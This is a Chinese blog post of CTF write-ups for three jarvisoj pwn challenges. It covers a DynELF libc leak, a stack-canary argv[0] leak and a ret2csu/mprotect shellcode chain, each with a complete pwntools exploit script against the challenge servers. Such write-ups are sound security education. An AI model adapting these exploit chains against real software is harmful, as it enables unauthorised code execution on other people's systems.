pwn学习-jarvisoj-姿势学习

发布于 2020-12-22  682 次阅读


0X00 level4-无libc的漏洞利用

这题下载文件下来,文件与level3反编译后伪代码基本一样,只是相比level3少了一个libc文件。level3

vulnerable_function()中存在明显的栈溢出,分配了0x88的空间,能输入0x100的内容。

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

同样以payload payload = 'a' * 0x8c + p32(elf.symbols['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(address) + p32(4) 可以泄露出函数的地址,但是在这没有现成的libc文件给我们利用来查找system函数的地址。

查阅资料后,这里可以用到pwntools的DynELF模块来应对无libc情况,具体可见【技术分享】借助DynELF实现无libc的漏洞利用小结

DynELF的基本利用模板为:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data

d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

我们要做的就是编写leak函数,利用leak函数来泄露函数的地址,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。

首先文件应该满足泄露函数地址的要求,显然该题满足条件。

其次由于是在对方内存中不断搜索地址信息,故需要能够反复调用泄露地址的代码,我们在这可以将返回地址修改为该函数vulnerable_function()的地址,重复调用漏洞代码。

于是可以写出exp:

from pwn import *

io = remote('pwn2.jarvisoj.com', 9880)
elf=ELF('./level4')

write_addr = elf.symbols['write']
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write'] 
read_plt = elf.symbols['read']
bss_addr = elf.bss()


def leak(address):
    payload = 'a' * 0x88 + 'a' * 0x4 + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(address) + p32(4)
    io.send(payload)
    data = io.recv(4)
    return data

d = DynELF(leak, elf=ELF('./level4'))
systemAddress = d.lookup('system', 'libc')

payload2 = 'a' * 0x88 + 'a' * 0x4 + p32(read_plt) + p32(vulner_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
io.send(payload2)
io.send('/bin/sh\x00')

payload3 = 'a' * 0x88 + 'a' * 0x4 + p32(systemAddress)  + p32(0) + p32(bss_addr)
io.sendline(payload3)
io.interactive()

0X01 smashes-利用canary打印信息

下载文件,先检查一下保护机制,开得还挺多的。

反编译一下查看伪代码。

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets(&v3) )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

_IO_gets(&v3)处有输入点,且没有限制我们的输入长度,存在溢出点。

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。

但是这题中是以gets来进行输入,导致输入是以'/n'结尾,无法将canary打印出来。

这里学习到了一种新姿势,故意触发canary的保护,利用报错来打印出我们想要的信息。

如果canary被我们的值覆盖而发生了变化,程序会执行函数___stack_chk_fail()

void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
    __fortify_fail ("stack smashing detected");
}

void
__attribute__ ((noreturn))
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
}
libc_hidden_def (__fortify_fail)

__libc_message 的第二个%s输出的是argv[0]argv[0]是指向第一个启动参数字符串的指针.

如果我们的输入能覆盖掉argv[0],那么我们就能打印出我们想要的东西。

文件中还找到了一个疑似flag的东西

偏移量不会计算emmmmm,硬刚吧

from pwn import *
context.log_level = 'debug'

#io = remote('pwn.jarvisoj.com', 9877)
io = process('./smashes')
io.recv()

io.sendline(p64(0x400934)*200)
io.recv()
io.sendline()
io.recv()

当我们输入为0x400934的时候,地址对应的字符串成功被我们打印出来了,但是吧地址换成之前找到的flag的地址时却没有得到flag。

在函数sub_4007E0()最后还有一句代码

memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

0x600D20处的字符串被覆盖为0了,所以打印不出来。

查阅资料后,得知这里考的是ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。也就是说该flag会在其他地方进行备份。

利用gdb的find找到了flag的备份处。

这里还有个小坑,在ida里面找到的flag是以CTF开头,gdb查找flag时找到的地址是0x400d21,如果以这个地址找flag,拿到的flag的不全的,应该是0x400d20,(其实也不算坑,毕竟64位下地址都是8的倍数,果然还是我菜

exp:

from pwn import *
context.log_level = 'debug'

io = remote('pwn.jarvisoj.com', 9877)
#io = process('./smashes')
io.recv()

io.sendline(p64(0x400d20) * 200)
io.recv()
io.sendline()
io.recv()

0X02 level5

mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

mprotect()函数

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

int mprotect(const void *start, size_t len, int prot);

port:(读4,写2,执行1)

由于64位下函数传参前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 下,而一般不存在有关rdx的gadgets。

在学习了大佬的wp后学到了利用__libc_csu_init的通用gadgets。

通用gadgets __libc_csu_init 的使用。

__libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行。

下面是__libc_csu_init函数的汇编代码。

.text:0000000000400650
.text:0000000000400650 ; =============== S U B R O U T I N E =======================================
.text:0000000000400650
.text:0000000000400650
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650                 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
.text:00000000004006B4
.text:00000000004006B4 ; ---------------------------------------------------------------------------

__libc_csu_init其中两端特殊的gadget可以给我们利用。

gadget位于0x400690和0x4006AA两处。

0x4006AA处依次将参数存入寄存器rbx,rbp,r12,r13,r14,r15。

.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

0x400690处依次将r13,r14,r15寄存器里的值放到rdx,rsi,edi处

.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d

在这还隐藏了两段gadget,可以利用错位码来得到

如上的例子中0x4006B2、0x4006B4两句的字节码如下

0x41 0x5f 0xc3

意思是pop r15,ret,但是恰好pop rdi,ret的opcode如下

0x5f 0xc3

因此如果我们指向0x4006B3就可以获得pop rdi,ret的opcode,从而对于单参数函数可以直接获得执行(涨姿势了)

实现

现在我们有了mprotect改data段到可执行,利用通用gadgets __libc_csu_init传参,可以将shellcode写到bss段,调用mprotect修改bss段权限,然后执行shellcode拿到shell。

下面是exp:

from pwn import *

io = remote('pwn2.jarvisoj.com', 9884)
#io = process('../level3')
elf = ELF('../level3')
libc = ELF('../libc-2.19.so')

rop1 = 0x4006A6       #pop_rbx_rbp_r12_r13_r14_r15
rop2 = 0x400690        #mov rdx,r13; mov rsi,r14; mov edi,r15d

vul_fun = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
libc_start = elf.got['__libc_start_main']
mprotect_got = elf.got["__gmon_start__"]
bss = elf.bss()
rdi = 0x4006b3
rsi_r15_ret = 0x4006b1

io.recv()
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(1) + p64(rsi_r15_ret) + p64(read_got) + p64(0) + p64(write_plt) + p64(vul_fun)
# write(1,read_got,#) ret vul_fun
# 利用write函数泄露read函数的真实地址
io.sendline(payload)

read_addr = u64(io.recvn(8))
libc_base = read_addr - libc.symbols["read"]
mprotect_addr = libc_base + libc.symbols["mprotect"]


print "read_addr ==> "+hex(read_addr)
print "libc_base ==> "+hex(libc_base)
print "mprotect_addr ==> "+hex(mprotect_addr)

io.recv()

payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss, #) ret vul_fun
# 利用read函数向bss段写入数据
io.sendline(payload)

shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
io.send(shellcode)
# 向bss段写入shellcode
io.recv()

bss_got = elf.got["__libc_start_main"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss_got, #) ret vul_fun
# 利用read函数把shellcode的bss段的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(bss))
io.recv()



mprotect_got = elf.got["__gmon_start__"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, mprotect_got, #) ret vul_fun
# 利用read函数把mprotect的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(mprotect_addr))


payload  = 'a' * (0x80 + 0x8) + p64(rop1) + "a" * 8 + p64(0) + p64(1)  + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
                                                       #rbx     #rbp     #r12                #r13     #r14          #r15
                                                                                             #rdx     #rsi          #edi
# pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(rop2) + "a" * 8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) + p64(rop2)
'''
mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
'''
# mprotect(0x600000,0x1000,7)
io.recv()
io.sendline(payload)

io.interactive()